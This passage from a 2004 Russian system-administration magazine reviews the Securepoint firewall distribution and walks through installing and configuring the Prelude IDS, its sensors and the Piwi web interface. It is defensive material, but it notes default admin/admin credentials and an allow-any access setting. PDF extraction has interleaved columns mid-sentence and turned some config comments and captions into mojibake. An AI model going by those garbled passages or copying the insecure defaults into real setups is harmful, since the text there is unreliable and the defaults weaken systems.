дистрибутивов. Сегодня предлагаю в общих чертах позна-
комиться с довольно мощным, но в то же время очень про-
стым и понятным в настройке дистрибутивом.
Речь пойдет о немецком дистрибутиве Securepoint от
Securepoint Security Solutions, английское зеркало сайта:
http://www.securepoint.cc. Он представляет собой полностью
готовый набор программных средств, предназначенных для
создания межсетевого экрана корпоративного
(enterprisewide) уровня. Но мало того, что Securepoint, как и
положено, предохраняет внутреннюю сеть от атак извне, но
с его помощью можно легко отделить части внутренней сети
друг от друга и определить индивидуальные правила защи-
ты для каждого сегмента, создать и управлять туннелями
VPN для защиты трафика удаленных сетей и пользовате-
лей, ведение логов и предупреждений. При этом перена-
30
СЕРГЕЙ ЯРЕМЧУК
страивать существующую сеть совсем необязательно,
Securepoint спокойно уживается на отдельном компьютере
и без проблем вписывается в большинство топологий со сво-
ими firewall и VPN. Если поискать на сайте, то можно наткнуть-
ся и на прайс с довольно солидными суммами, но беспоко-
иться не стоит, деньги берут за техническую поддержку, сам
же дистрибутив доступен для свободного скачивания и рас-
пространяется как freeware, для доступа к странице закачки
от вас потребуют ввести e-mail и название компании. Сис-
темные требования скромны, процессор класса Pentium II 300,
64 Мб ОЗУ, около 4 Гб жесткий диск (IDE или поддержаны
некоторые SCSI). Базируется он, судя по всему, на Red Hat.
Поддерживается одновременно от 2 до 16 сетевых интер-
фейсов. Перед установкой желательно все же свериться
с whitepapers (http://europe-01.securepoint.de/whitepapers_
int3.1.pdf), иначе попытка может завершиться неудачей. И
хотя сам процесс установки сложности вызвать не должен
по причине простоты и понятности всех операций, но вкрат-
це остановлюсь, чтобы было понятно, с чем имеем дело.
Более полную картину даст 96-страничный manual, который
вы найдете на сайте или в самом дистрибутиве.
Установка
Скачиваем по ссылке ISO-образ дистрибутива размером
245 Мб (версия securepoint-3.1.3p3.iso). Можно не спешить
сразу тянуть остальные приложения, документы и патчи,
доступные на странице закачки, т.к. большая часть име-
ется уже в указаном образе и вы зря потеряете время.
Каталоги CD-ROM имеют такую структуру:
 безопасность
! basic – архивы с основной системой; дим ./install.sh, после чего следуем за инструкциями на
! isolinux – загрузочный образ; экране. После чего перезагружаем систему.
! intrusion_detection_system – сервер и клиент Nuzzler Последующее конфигурирование возможно проводить
Intrusion Detection System; двумя способами (не считая непосредственного редакти-
! opt – архивы с Securepoint Firewall & VPN Server, AntiVir рования конфигурационных файлов). Первый, находясь в
virus scanner, Trendmicro VirusWall, утилиты конфигу- системе, при помощи скрипта conf.sh, который лежит в
рирования; /opt/securepoint3.0/bin (рис. 1). Но более удобно и нагляд-
! tools – утилиты под Windows: diskwriter (для создания но особенно для новичков будет настройка при помощи
загрузочной дискеты), Nuzzler Intrusion Detection System клиента Securepoint Security Manager, работающего под
Basic Edition, Securepoint Network Test Tool, в папке управлением Windows 98, NT, XP и 2000. Ставим програм-
securepoint_client клиент для удаленной настройки му, как обычно нажав setup.exe, после чего в меню «Пуск»
Securepoint (в подкаталоге samples найдете заготов- появятся еще два приложения: сам Securepoint Security
ки) и SSH Sentinel VPN client; Manager и Bitcount calculator, предназначенный для пере-
! update – приложения для обновления Securepoint с вер- расчета маски сети в битовую маску и наоборот. Запуска-
сий 2.x и 3.x до 3.1.3. ем (рис. 2).

СD-ROM является загрузочным, поэтому выставляем

в BIOS необходимые параметры и загружаемся. Установ-
ка полностью проходит в графическом режиме во
framebuffer. Предстоит пройти всего четыре шага. На пер-
вом спрашивается keymap, хотя имеется и ru, но, навер-
ное, лучше выставить us во избежание проблем, и нажима-
ем Start. Далее предлагается выбрать язык, к сожалению,
выбирать приходится только между английским и немец-
ким. И лицензию Securepoint Office, Business, Рrofessional.
В зависимости от выбраной лицензии на следующем шаге
будет доступно разное количество сетевых интерфейсов
для конфигурирования (от 2 до 16), а также доступность
продвинутых опций вроде VPN. И попадаем в следующее
окно конфигурации, где предлагается в нескольких вклад- Ðèñóíîê 1
ках настроить параметры системы.
В «Default Configuration» выбираем пакеты – Firewall
(Securepoint firewall & VPN), VirusWall (ftp/http(s)/smtp
VirusScanner), Mailgate (E-mail VirusScanner) и Config
(console configuration firewall), файловую систему (ext2/
ext3/ReiserFS) и Software RAID при наличии двух дисков.
Во вкладке «Network Configuration» настраиваем се-
тевые интерфейсы (Ethernet, TokenRing, Adsl, ISDN), вво-
дим IP-адрес, Bitcount (битовую маску сети, например,
255.255.255.0 – 24) и вручную выбираем драйвер сете-
вой карты из списка. На первом сетевом интерфейсе ука-
зываются параметры внешней сети, на втором внутрен-
няя сеть и остальные DMZ. И в «Global Setting» вводим Ðèñóíîê 2
name (имя компьютера), Getaway admin IP (IP-адрес внут- Вводим пароль для доступа, выбираем из выпадаю-
ренней сети, с которой будет удаленно управляться ком- щего списка нужный сервер, если список пустой, то вво-
пьютер) и пароль для доступа. дим атрибуты серверов (имя, IP-адрес, порт по умолча-
В окне «Driver Help» можно получить помощь в выборе нию – 11112), логин и пароль для первого доступа admin/
драйвера к своей сетевой карте. Надо отметить, что если admin. Обратите внимание на возможность работы без
вы неправильно укажете драйвер, то установка продол- подключения к серверу, что очень удобно и безопасно, для
жена не будет. На этом все. После окончания процесса этого устанавливаем галочку напротив «offline mode».
копирования компьютер перезагружаем. Появляется главное окно утилиты (рис. 3). Для облегчения
настройки разработчиками подготовлено 6 конфигураци-
Последующая настройка онных файлов beginner1[-6].isf, которые можно найти в под-
При необходимости обновить систему, монтируем CD- каталоге samples дистрибутива программы (в documents
ROM с дистрибутивом. найдете документацию по дистрибутиву и whitepapers):
! Easy Internet configuration – beginner1.isf.
#mount /dev/hdd /mnt/cdrom ! Static NAT configuration with web server in DMZ1 –
beginner2.isf.
Заходим в каталог update cd /mnt/cdrom/update и вво- ! Proxy server configuration – beginner3.isf.

№6(19), июнь 2004 31

 безопасность
! VPN PPTP server / roadwarrior configuration – beginner4.isf.
! VPN IPSec server / roadwarrior configuration – beginner5.isf.
! AntiVir virus scanner configuration – beginner6.isf.
Выбираем близкий по назначению и открываем через
File – Open пароль для доступа test. Теперь приводим к сво-
им данным: изменяем IP-адреса на используемые, добав-
ляем хосты, сети и свои правила. Все действо происходит
в довольно понятных диалогах (рис. 4), и, зная необходи-
мые параметры, настроить сеть можно без проблем. Так, в
пункте Modify изменяем правила настройки firewall и в
Network Topology просматриваем все известные компью-
теры (рис. 5), выбрав Options, получаем возможность на-
строить сам сервер (рис. 6). В меню «Reports» доступно не-
сколько пунктов, позволяющих автоматически проанали-
зировать системные и squid лог-файлы, получить инфор-
мацию о трафике и протестировать соединение. Програм-
ма будет работать в течение 30 дней, далее необходимо
зарегистрироваться на http://register.securepoint.cc, как и
другие утилиты под Windows-систему.
Кратко о настройке других приложений
Все дополнительные программы, выбранные при установ-
ке системы в пункте «Default Configuration», находятся в
каталоге /opt и требуют отдельного вмешательства для
своего запуска. Так, 30-дневная демоверсия InterScan
VirusWall System, кроме возможности по защите от вирусов
и другого злонамеренного кода, просматривает SMTP-,
HTTP- и FTP-трафик. И дополнительно включает, кроме
всего прочего, и eManager, представляющий собой пла-
Ðèñóíîê 3
32
гин для отфильтровки спама и контекстные фильтры, по-
зволяющие блокировать нежелательный трафик, обеспе-
чивая таким образом возможность защитить интеллекту-
альную собственность компании и конфиденциальную ин-
формацию. Для установки заходим в /opt/trendmicro и за-
пускаем ./isinst, после чего следуем за инструкциями на
экране, все настройки расписаны в файле readme_linux.txt.
Настроить затем его можно при помощи веб-интерфейса.
В /opt/avmailgate-2.0.0.6-Linux-glibc найдете AntiVir Mail-
Gate, которую также необходимо установить, запустив
скрипт avinstall.pl. Поддерживается сканирование email,
http, ftp и файлов. Антивирус совместим со многими Mail
Transport Agents (MTA) вроде sendmail, postfix, qmail, exim.
Работа идет по принципу промежуточного накопления,
когда программа аvgated получает почту и хранит ее в
промежуточном каталоге, а avgatefwd просматривает
файлы, и если не находит в них ничего подозрительного,
то переправляет файл дальше. Если же будет найден ви-
рус, то будет отправлено сообщение по адресу, указанно-
му в файле /opt/avmailgate-2.0.0.6-Linux-glibc/avmailgate/
etc/antivir.conf. Для частных пользователей лицензия бес-
платна, но ее необходимо обновлять раз в год, и модифи-
кации доступны реже, чем для платных пользователей.
И наконец система Securepoint Intrusion Detection
System, позволяющая просматривать трафик, приходящий
из внешний сети, а также установить датчики внутри всех
контролируемых сетей. К использованию предлагаются
коммерческий Nuzzler Server Edition, стоящий 99 евро, и
свободный Basic Edition, для активации которого доста-
точно получить у компании ключ.
 безопасность
Nuzzler может обнаруживать возможные атаки, виру-
сы, trojans и т. п. Основная постановка включает более
чем 1500 правил для различных категорий, к которым вы
можете сами прибавлять новые правила и изменять ста-
рые, имеет интегрированную sniffer-систему, показываю-
щую в реальном времени каждый блок данных (TCP, UDP
и ICMP), не сохраняя его в журнал.
Вот в принципе и все. В документации все подробно
расписано. Вывод, я думаю, очевиден. Securepoint пред-
ставляет собой удобное и законченное решение, позво-
ляющее легко создавать сети любых конфигураций и сле-
дить за их безопасностью. Наличие же некотрых необяза-
тельных платных составляющих только добавляет плюсов
к имиджу дистрибутива. Ðèñóíîê 4

Ðèñóíîê 5

Ðèñóíîê 6

№6(19), июнь 2004 33

безопасность

ПРЕЛЮДИЯ ДЛЯ ЗАЩИТЫ

В предыдущем номере журнала в статье

«Централизованное обнаружение
вторжения с Samhain» была затронута
возможность компилирования датчиков
host-based intrusion detection system
Samhain как датчиков другой IDS – Prelude.
Как мне кажется, в последней сочетается
довольно много положительных качеств,
чтобы обратить на эту IDS пристальное
внимание.

СЕРГЕЙ ЯРЕМЧУК
34

Проект начат в 1998 году (одновременно с началом раз-
работки Snort), основной его целью было создание модуль-
ного сетевого IDS, но очень скоро разработчики поняли,
что за технологиями все равно не угнаться, и пересмотре-
ли свои подходы и требования к обеспечению безопасно-
сти систем. В результате Prelude представляет собой пол-
нофункциональную, т.н. гибридную, IDS. Она разрабаты-
валась прежде всего для работы на компьютерах под уп-
равлением GNU/Linux, но поддерживаются также и *BSD-
системы, как и другие POSIX-совместимые системы, рас-
пространяется свободно по лицензии GPL. Суть гибрид-
ности Prelude заключается в том, что контролируются не
только события, происходящие в сети, но и то, что творит-
ся на локальных компьютерах, что, с одной стороны, по-
вышает вероятность обнаружения попытки вторжения, а
с другой – уменьшает общее количество разнородных
приложений, с которыми придется иметь дело системно-
му администратору. Домашняя страница проекта: http://
www.prelude-ids.org.
Состоит Prelude из нескольких частей:
! Сенсоры – основная часть всей системы обнаружения,
развертываются на нескольких системах, чья безопас-
ность контролируется. Они собирают всю информацию
и сообщают администратору в случае обнаружения
аномалий.
! LibPrelude – клей, связывающий все части вместе, пре-
доставляет единый интерфейс стандартных вызовов
IDMEF, основанный на XML, позволяет легко создавать
сторонним разработчикам продукты «Prelude Aware».
Используется всеми модулями Prelude.
! Prelude-nids – датчик сетевой системы обнаружения
атак, который ищет знакомые сигнатуры в проходящих
по сети пакетах. В одной сети достаточно иметь один
такой сенсор, поэтому его можно установить, напри-
мер, на сервер. По своей функциональности эквива-
лентен Snort.
! Prelude-lml – Prelude Log Monitoring Lackey – еще один
датчик, на этот раз контролирующий логи. В случае по-
явления подозрительных записей отправляет уведом-
ление, является обязательным при использовании host-
based IDS-части. Может быть сконфигурирован как для
просмотра локальных лог-файлов, так и работать в сете-
вом режиме, контролируя поступающие по сети данные.
В последнем случае он может работать со всеми syslog-
совместимыми данными, поступающими от firewall,
маршрутизаторов, принтеров, других UNIX-систем и си-
стем, которые могут преобразовать свои данные к тре-
буемому формату (например, Windows NT/2K/XP –
Ntsyslog – http://ntsyslog.sourceforge.net/). Построенный
на PCRE (Perl Compatible Regular Expressions), состоит
из плагинов, каждый из которых отвечает за анализ
данных, поступающих от определенной программы,
или утилиты: IpFw, IpChains, NtSyslog, GRSecurity, Exim,
Portsentry, SSH, Squid и других.
! Libsafe – датчик, работающий только на Linux-систе-
мах, автоматически подхватывается Prelude при уста-
новленной в системе библиотеке libsafe (http://
www.research. avayalabs.com/project/libsafe). Эта биб-
лиотека позволяет защититься от атак типа format string
№6(19), июнь 2004
безопасность
и buffer overflow, проверяя запросы к потенциально
опасным вызовам вроде sprintf, strcpy, wcscpy и пыта-
ется обнаружить попытку переполнения буфера; если
таковое обнаруживается, то выполнение опасной про-
граммы прерывается. Учитывая, что библиотека, в об-
щем, справляется со своим назначением, а системные
расходы незначительны, то ее можно рекомендовать к
применению.
! Prelude-manager – предназначен для централизован-
ного сбора данных, поступающих от всех датчиков, вы-
дачи данных подсистеме, реагирующей на событие, и
сохранение данных ( MySQL, PostgreSQL, Oracle, XML,
plain-текст). В сети может быть несколько manager.
! Counter Measure Agents – исполнительня часть, полу-
чает данные относительно выявленной аномалии от
manager и принимает меры по остановке нежелатель-
ных действий.
! frontends – для централизованного удобного просмот-
ра собранных данных, выявления неисправностей, по-
зволяет просто администрировать и способствует по-
ниманию текущего состояния дел защиты. В этом ка-
честве выступают P(erl|relude) IDS Web Interface и
Prelude-php-frontend. Внешний интерфейс, написанный
на Perl и РНР соответственно, предназначен для про-
смотра данных, собранных Prelude и занесенных в базу
данных.
Но это еще не все. Кроме упомянутых возможностей в
качестве сенсоров после наложения соответствующих пат-
чей могут выступать Snort, Nessus, Nagios, Argus, Honeyd,
SysTrace, Bro IDS, Hogwash и планируется AIDE. Также на-
помню, что датчики Samhain, которые позволяют контро-
лировать довольно большое количество аномалий на хос-
тах, могут быть скомпилированы с библиотекой LibPrelude,
выступая тем самым и сенсором Prelude IDS. Все осталь-
ные возможности (в том числе и планируемые) Prelude
IDS в виде удобных для восприятия таблиц представлены
в документе «Prelude Feature Matrix» (http://www.prelude-
ids.org/rubrique.php3?id_rubrique=24). Мы же пойдем далее.
Установка Prelude IDS
Все основные компоненты для установки можно найти на
странице http://www.prelude-ids.org/rubrique.php3?id_rub-
rique=6 в разделе Download Latest Version или Download
Latest Snapshots. Как минимум потребуются пакеты
libprelude, prelude-manager, prelude-nids, prelude-lml и Piwi.
Дополнительно можно здесь же по ссылкам скачать и
Libsafe, для работы с OpenBSD pf понадобится prelude-
pflogger, а также патчи к соответствующим программам
для реализации «Prelude aware»:
! Snort – Prelude reporting patch;
! Honeyd – Prelude reporting patch;
! Systrace – Prelude reporting patch;
! Nessus – Prelude reporting patch.
Но это то, что сразу в глаза бросается; если посмотреть
на столбик слева, то там найдете еще интересную колонку
«Contributed Software», в которой найдете еще несколько
патчей и расширений к Prelude (отправка алертов по e-mail,
35
 безопасность
сбор статистики, патчи к Nessus, Nagios, Honeyd, Bro IDS,
convert_ruleset – скрипт, конвертирующий правила Snort
(http://www.snort.org/downloads/snortrules.tar.gz), в правила,
понятные Prelude NIDS, и другие полезности).
Проверить скачанные пакеты можно, взяв ключ с:
# gpg --keyserver wwwkeys.pgp.net --recv-keys 0x23D2FAC3
Если все нормально, то можно начинать. По ссылкам
можно скачать и прекомпилированные rpm-пакеты, со-
бранные под RedHat 7.3 – 9.0, в которых найдете даже
nessus, заточенный под Prelude. Установка их заключает-
ся в основном в стандартном rpm -i *.rpm, но в дальней-
шем у меня возни с ними было больше, поэтому будем
затачивать все под свою систему, самостоятельно соби-
рая из исходников (тем более это не так уж и трудно). Для
поклонников Gentoo необходимые для сборки ebuild-фай-
лы найдете в архиве piwi.
Для начала скачиваем и ставим libsafe, которая, начи-
ная с версии 2.11, может быть скомпилирована как дат-
чик Prelude. Здесь все просто.
#make
После окончания компиляции вводим:
#make install
Теперь связываем переменную LD_PRELOAD с библио-
текой:
LD_PRELOAD=/lib/libsafe.so.2
export LD_PRELOAD
И заносим эти строки в файл /etc/profile.
В файле /etc/ld.so.preload также желательна такая стро-
ка: /lib/libsafe.so.2.
Теперь устанавливаем libprelude:
#tar xvzf libprelude-0-8-latest.tar.gz
#cd libprelude
#./configure
Библиотека автоматически компилируется с поддер-
жкой OpenSSL и требует наличия библиотек и заголовоч-
ных файлов. Из дополнительных опций стоит отметить
enable-gtk-doc для формирования документации.
#make
#make install
После чего аналогично устанавливаем prelude-
manager. После конфигурирования возможно появление
такой ошибки.
36
Совет установить переменную LIBPRELUDE_CONFIG
не помог. Необходимо, чтобы место расположения файла
libprelude-config было видно из переменной PATH.
#PATH=$PATH:/usr/local/bin/
#export PATH
В конце отчет.
Конфигуратор сам найдет установленные в системе
приложения, поэтому никаких опций первоначально мож-
но и не задавать, только в случае нестандартного место-
нахождения требуемых утилит и приложений.
И переходим к построению датчиков. Датчики могут
быть установлены как на той же машине, что и prelude-
manager, так и разбросаны по всем машинам в сети. При
этом во избежание дублирования в одной сети необходи-
мо установить один датчик prelude-nids, а во избежание
засорения лишними пакетами лучше его приткнуть на тот
же компьютер, что и prelude-manager. Хотя, по большому
счету, поступайте как вам удобнее, только помните, что
сетевые датчики должны контролировать не только паке-
ты, поступающие из внешней сети, но и, чтобы пресечь
действия некоторых «умников», стоять и во всех внутрен-
них сетях.
Действия и проблемы при установке prelude-nids и
prelude-lml аналогичны предыдущим.
После установки приступаем к конфигурированию. Все
конфигурационные файлы после установки помещаются
каждый в свой подкаталог в /usr/local/etc.
Но для начала создадим базу данных:
#/usr/local/bin/prelude-manager-db-create.sh
Команда задаст семь вопросов о паролях, пользова-
телях и других параметрах, необходимых при создании
новой базы данных, после чего выдает общий результат и
после получения согласия попробует соединиться с выб-
ранной СУБД и создает новую базу данных.
Если все прошло удачно, можно запускать менеджер:
#prelude-manager --mysql --dbhost localhost ↵
--dbname prelude --dbuser prelude --dbpass xxxxxx
Или лучше изменить секцию MySQL в конфигурацион-
ном файле /usr/local/etc/prelude-manager/prelude-manager.conf,
воспользовавшись выводом утилиты:
[MySQL]
# Host the database is listening on.
dbhost = localhost;
# Port the database is listening on.
dbport = 3306;
# Name of the database.
dbname = prelude;
# Username to be used to connect the database.
dbuser = prelude;
# Password used to connect the database.
dbpass = xxxxxx;
 безопасность
Не забудьте только вставить пароль вместо хххххх.
Для того чтобы указать на интерфейс, где менеджер
будет ожидать подключения сенсоров в файле prelude-
manager.conf, изменяем параметр sensors-srvr, в котором
указываем нужный IP-адрес. Теперь можно приступать к
регистрации сенсоров. Этот процесс в Prelude хоть и мо-
жет забрать изрядное количество времени при большом Если manager-adduser уже запущен, то смело жмем на
их количестве, но все таки удобен и понятен и не требует Enter и два раза вводим выданные им одноразовые пароли.
особых и лишних телодвижений. Да, и не забудьте разре-
шить iptables пропускать эти пакеты.
Для регистрации сенсора на сервере запускаем ути-
литу manager-adduser, которая будет ждать подключения
нового клиента, для допуска которого будет выдан на кон-
соль одноразовый пароль. А на клиентском компьютере
параллельно запускается sensor-adduser с указанием на-
звания регистрируемого сенсора и узла, где находится
менеджер.

# manager-adduser В окне manager-adduser увидим для локального сен-

сора такое сообщение.

После чего он заканчивает свою работу.

Примечание: все, что программа вывела выше, появит-
ся только при первом запуске и требуется для генерации
ключей. Как видите, можете указать требуемую длину клю-
ча и время устаревания ключа (0 – без устаревания).
Ниже – сообщения, относящиеся непосредственно к
регистрации сенсора.
Единcтвенное, что может сбить с толку, – это запра-
шиваемое имя пользователя. В документации сказано, что
это имя предназначено для внутреннего употребления и
не должно совпадать с учетной записью в определенной
системе. Других ограничений я не нашел. На этом регис-
трация сенсора и заканчивается. Это все действия, кото-
рые вам нужно будет проделать, для того чтобы libsafe
сообщал Prelude IDS о проблемах. Все конфигурации сен-
соров сохраняются в /usr/local/etc/prelude-sensors/. Для уда-
ленного сенсора меняем только IP-адрес. Например, сен-
сор host-based IDS Samhain, об установке которого я пи-
сал в предыдущем номере журнала и имеющий довольно
продвинутые возможности по детектированию локальных
аномалий.
#sensor-adduser --sensorname samhain --uid 0 ↵
--manager-addr 192.168.1.20

Вот и наш пароль.

Все, программа ждет подключения сенсора. Порядок
регистрации сенсоров значения не имеет, начнем, навер-
ное, с libsafe.
На компьютере, сенсор которого вы регистрируете,
вводим такую команду:
Обратите внимание: здесь не требуется вручную за-
водить пользователя и давать пароль, система генериру-
ет ключ.

# sensor-adduser -s <òèï_ñåíñîðà> ↵
-m <IP-àäðåñ_ìåíåäæåðà> -u <UID_ïîëüçîâàòåëÿ>

В случае с локальным сенсором эта строка будет выг-

лядеть так:

# sensor-adduser -s libsafe -m 127.0.0.1 -u 0

№6(19), июнь 2004 37

 безопасность
А в окне manager-adduser увидим такое сообщение.
Для остальных сенсоров действия аналогичны:
Запускаем опять на сервере manager-adduser и полу-
чаем новый одноразовый пароль.
При помощи sensor-adduser регистрируем новый сен-
сор. Для остальных входящих в комплект сенсоров строка
запуска будет иметь такой вид (для локальных сенсоров).
# sensor-adduser -s prelude-nids -m 127.0.0.1 -u 0
# sensor-adduser -s prelude-lml -m 127.0.0.1 -u 0
Если локальные сенсоры (т.е. по IP – 127.0.0.1) можно
удаленно регистрировать, зайдя на компьютер при помо-
щи SSH, то регистрация удаленных сенсоров таким обра-
зом сильно затягивается, да и с безопасностью могут воз-
никнуть проблемы.
Теперь можно запускать, а заодно и проверить под-
ключения. На сервере запускаем.
# prelude-manager
Теперь очередь сенсоров. Libsafe подхватывается ав-
томатически, а поэтому после регистрации можно о нем
забыть. Остались два prelude-lml и prelude-nids. Указать
параметры их запуска можно двумя способами: в строке
запуска и в конфигурационных файлах (usr/local/etc/prelude-
lml/prelude-lml.conf и /usr/local/etc/prelude-nids/prelude-
nids.conf). Синтаксис их понятен и хорошо комментирован,
для начала достаточно в обеих указать в строке manager-
addr IP-адрес менеджера. При этом возможна запись та-
кого вида:
manager-addr = x.x.x.x:port || y.y.y.y && z.z.z.z
При этом сенсор попытается соединиться сначала с ме-
38
неджером x.x.x.x:port, если это не получится, то с y.y.y.y и
z.z.z.z, а если и эта попытка не увенчается успехом, то
данные будут сохранены локально. Для lml-сенсора вce
правила находятся /usr/local/etc/prelude-lml/ruleset/, узнать,
какие из них задействованы, можно в файле simple.rules в
строках include. Для ускорения работы можно закомменти-
ровать лишние, а новые, скачанные по ссылкам, здесь же
подключить (например, от Exaprobe http://www.exaprobe.com/
labs/downloads), второй вариант создать свой файл с пра-
вилами и прописать его в prelude-lml.conf в блоке
[SimpleMod] в строке ruleset, указав на новый файл с пра-
вилами. Аналогично все правила для nids-сенсора пропи-
саны в /usr/local/etc/prelude-nids/ruleset/simple.rules. Запус-
каем сенсоры.
# prelude-nids -i eth0
Ага, забыли завести пользователя prelude. Можно по
первой, при тестировании запустить от имени root (опция
-u root), но в остальных случаях делаем как положено.
Поэтому командой заводим пользователя prelude и при
регистрации сенсоров не забываем указывать его uid.
#groupadd prelude
#adduser --no-create-home --disabled-password --quiet ↵
--ingroup prelude prelude
Пробуем еще раз.
# prelude-nids -i eth0
В это время в окне терминала, в котором запущен
prelude-manager, должно появиться такое сообщение.
Обратите внимание на последние цифры: они соответ-
ствуют выданным программой при регистрации этого сен-
сора.
С lml поступаем аналогично.
# prelude-lml -u root

После тестирования запускаем все приложения в ка-
честве демонов.
# prelude-manager -d
# prelude-lml -d
# prelude-nids -i eth1 -d
И так далее. Для автоматического запуска при старте
системы создайте отдельный файл (например, rc.prelude)
и пропишите строки для его запуска в /etc/rc.d/rc.local или
/etc/rc.d/boot.local для SUSE. Теперь для тестирования
можно посканировать сеть при помощи nmap или восполь-
зоваться утилитами IDSwakeup (http://www.hsc.fr/res-
sources/outils/idswakeup/download/) или nidsbench (http://
www.anzen.com/research/nidsbench/), специально предназ-
наченными для испытания NIDS.
Теперь смотрим, что творится в лог-файлах. Кроме за-
писи в базу данных текстовые логи ведутся в файле /var/
log/prelude.log и в формате XML в /var/log/prelude-xml.log.
Там находим следующее.
Это забилось сердце сенсора NIDS. А ниже то, что он
выловил в результате нашего испытания. При этом систе-
ма пытается собрать максимальную информацию об
объекте возмущения, в том числе и пытается определить
удаленную операционную систему.
№6(19), июнь 2004
безопасность
Для немедленных уведомлений по почте используйте
Perl-скрипт alert2mail (http://www.prelude-ids.org/download/
contribs/alert2mail). Использовать его просто, но потребу-
ется модуль MIME::Lite.
Первой строкой добавляем:
#! /usr/bin/perl
в строке From =>’root at localhost’ ставим необходимый
e-mail, и при желании можно русифицировать сообщения.
Теперь запускаем, скрипт будет считывать новые дан-
ные, поступающие в лог-файл (tail -f /var/log/prelude.log), и
анализировать их, при появлении опасных строк админи-
стратору будет выслан e-mail.
Другой скрипт http://www.prelude-ids.org/download/contribs/
prelude-stats-pl.txt позволяет собирать статистику на ос-
новании данных, найденных в /var/log/prelude.log. Чтобы
не перегружать слишком сеть сообщения от одиночных
сенсоров или удаленных групп сенсоров, возможно ис-
пользование т.н. Relay Manager, которые собирают инфор-
мацию от своей группы, а затем переправляют по цепоч-
ке центральному менеджеру.
В файле prelude-manager.conf за их активацию отве-
чают два параметра, в которых требуется указать соот-
ветствующий IP-адрес(a): admin-srvr и relay-manager (в
данном случае это следующий в цепочке Relay Manager,
которому переправлять информацию).
39
 безопасность
Ставим интерфейс А Mandrake, ALTLinux и Gentoo это будет другая строка.
Все это хорошо, но при большом количестве данных луч-
ше анализировать их при помощи выборок из базы дан- #chown -R apache.apache generated/
ных. Хотя, кстати, имеется документ, рассказывающий,
как сделать просмотр без фронтенда при помощи Internet В общем, при наличии проблем с доступом проверьте
Explorer: http://orbital.wiretapped.net/~technion. все еще раз. Далее в подкаталоге Functions в файле
Совсем недавно на сайте появился GUI-инструмент config.pl исправьте параметры доступа к базе данных (в
Prelude GTK2 Frontend, который не хочет компилировать- самом верху файла), вставьте туда значения, введенные
ся нормально. В документации имеется упоминание на при работе скрипта prelude-manager-db-create.sh.
PHP, ncurses и java-фронтендах, но ссылок на сайте не Примерно так.
нашел. Поэтому основным и довольно удобным сред-
ством просмотра и анализа результатов выступает Piwi – # Database :
# çäåñü âûáèðàåì èñïîëüçóåìóþ áàçó äàííûõ mysql èëè Pg
P(erl|relude) IDS Web Interface, позволяющий просматри- $conf{'dbtype'} = 'mysql';
вать листинги предупреждений, в том числе и детально # èìÿ ðàííåå ñîçäàííîé áàçû äàííûõ
$conf{'dbname'} = 'prelude';
их сортировать, выводить информацию о IP- и MAC-ад- # óçåë, ãäå èñêàòü áàçó äàííûõ
ресах, операционной системе, проводить статистику атак $conf{'dbhost'} = 'localhost';
# ýòî äëÿ mysql, äëÿ PostgreSQL èñïîëüçóéòå 5432
по дням, часам, top 10 атак и атакующих и прочее, плюс $conf{'dbport'} = 3306;
возможность самостоятельного поиска при помощи ре- # (òîëüêî äëÿ mysql)
$conf{'dboptions'} = 'mysql_compression=1';
гулярных выражений. Установка piwi сложностей не пред- $conf{'dblogin'} = 'prelude';
ставляет. $conf{'dbpasswd'} = 'õõõõõõ';
Для работы нам понадобятся (большинство, наверное,
уже имеется, если нет, то придется установить, работать Теперь даем указание Apache на местонахождение ис-
однозначно не будет): mysql или PostgreSQL, Аpache, не полняемого файла. Например:
имеет значения какой – 1.3.x или 2.x, Perl от 5.6.x, DBI и
DBD модули (DBD::mysql v2.9002 не работает), для вывода <Directory "/var/www/htdocs/piwi/">
Options +ExecCGI
даты Date::Calc (http://search.cpan.org/author/STBEY). Опци- AddHandler cgi-script .pl
онально могут пригодиться Geo::IP (http://www.maxmind.com/ </Directory>
app/linux) для вывода страны по IP-адресу, для вывода гра-
фики GD, GD::Text, GD::Graph и GD::Graph3d (http:// Это в общем случае, но если не поленились устано-
www.boutell.com, http://stein.cshl.org/WWW/software/GD, http:// вить Perl-модуль Apache::DBI и mod_perl для Apache, то
search.cpan.org/ author/MVERB), для генерации отчетов в пишем так.
форматах ps и pdf: ghostscript и PDF::API2, и для эффек-
тивной работы веб-сервера с perl и базой данных mod_perl PerlModule Apache::DBI
(http://perl.httpd.org) и Apache::DBI (http://search.cpan.org/ <Files *.pl>
author/ABH). SetHandler perl-script
PerlHandler Apache::PerlRun
Также рекомендуется Prelude компилировать с недавно PerlSendHeader On
появившейся библиотекой LibPreludeDB (http://www.prelude- </Files>
ids.org/download/snapshots/trunk/libpreludedb-trunk-
latest.tar.gz), но это необязательно, да и ее компиляция И добавляем к директиве DirectoryIndex через пробел
вызывает пока только муки. файл index.pl.
Теперь, если все необходимое скачано и установлено,
просто распаковываем архив в корневой каталог веб-сер- DirectoryIndex index.html index.htm index.pl
вера.
Например для Slackware (в SUSE все серверные ката- Причем разработчики не рекомендуют использовать в
логи найдете в /srv). данном случае директиву ScriptAlias.
Все, теперь перезапускаем Apache.
# cd /var/www/htdocs/
# tar -xzvf /path/to/piwi-0-8-latest.tar.gz # /etc/rc.d/apache2 restart
Теперь пользователя, от имени которого работает
Apache, делаем хозяином подпапки generated.

#chown -R nobody.nobody generated/ И пытаемся попасть на требуемую страницу. Если что-

Здесь обратите внимание, что в разных дистрибути-
вах Apache выполняется от пользователей с разными име-
нами.
Так в том же SUSE строка будет выглядеть так.
то не выходит, проблемы как всегда найдете в /var/log/
apache2/error_log. Например, такая запись свидетельству-
ет о том, что скрипт не может присоединиться к MySQL.

#chown -R wwwrun.nogroup generated/

40

Поэтому проверяем, не забыли ли вообще запустить
MySQL (# ps aux | grep mysql). И проверяем еще раз все
записи, сделанные в конфигурационных файлах.
Для тестирования установок предназначена страница
$piwi_directory/test/index.pl, сюда же попадете и в том слу-
чае, если не будут найдены обязательные компоненты,
здесь получите всю информацию о текущих проблемах.
Для ограничения доступа (необходимую информацию най-
дете в piwi/Docs/user_file_format.txt) к данным используют-
ся файлы, находящиеся в поддиректории Profiles/ с назва-
нием вида: имя_пользователя.user, т.е. на каждого пользо-
вателя один файл. По умолчанию там находятся два та-
ких файла: admin.user и guest.user, чего достаточно в боль-
шинстве случаев. Параметров немного, сейчас достаточ-
но изменить лишь один – IPAccess, который отвечает за
допуск этого пользователя с определенного адреса или
адресов.
В качестве значения может быть точный адрес вида
192.168.1.200 или групповой для доступа из всей сети, на-
пример 192.168.255.255 (строка IPAccess=255.255.255.255
означает доступ с любого адреса). И не будет лишним,
если будете использовать файлы .htaccess, .htpasswd или
